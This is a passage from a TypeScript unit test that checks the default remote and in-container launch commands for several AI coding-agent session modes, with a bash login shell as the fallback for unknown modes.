omp: remoteLoginShellCommand('omp'),
};
for (const [mode, want] of Object.entries(expected)) {
expect(defaultRemoteCommandForMode(mode as SessionMode), mode).toBe(want);
}
expect(defaultRemoteCommandForMode('nope' as SessionMode)).toBe(expected.shell);
});
it('pins every in-container pane command', () => {
const expected: Record<string, string> = {
shell: 'exec bash -l',
claude: 'exec claude --dangerously-skip-permissions',
opencode: 'exec opencode',
codex: 'exec codex',
gemini: 'exec gemini',
antigravity: 'exec agy',
pi: 'exec pi',
grok: 'exec grok',
deepseek: 'exec dsh',
omp: 'exec omp',
};
for (const [mode, want] of Object.entries(expected)) {
expect(defaultDockerCommandForMode(mode as SessionMode), mode).toBe(want);
}
expect(defaultDockerCommandForMode('nope' as SessionMode)).toBe('exec bash -l');
});